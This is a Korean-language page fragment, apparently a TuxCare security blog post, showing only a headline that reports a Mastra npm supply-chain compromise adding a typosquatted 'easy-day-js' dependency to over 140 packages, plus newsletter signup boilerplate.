Mastra npm 취약점으로 인해 140개 이상의 패키지에 easy-day-js가 추가되었으며, 이로 인해 타이포스쿼팅된 종속성을 통해 설치 시 악성코드가 실행되었습니다.
작성자
게시자 이름
TuxCare
게시자 로고

4,500명 이상의 Linux 및 오픈 소스 전문가와 함께하세요!

한 달에 두 번. 스팸이 없습니다.

목차
필요한 오픈 소스 보안에 대한 답변 얻기

4,500명 이상의 Linux 및 오픈 소스 전문가와 함께하세요!

한 달에 두 번. 스팸이 없습니다.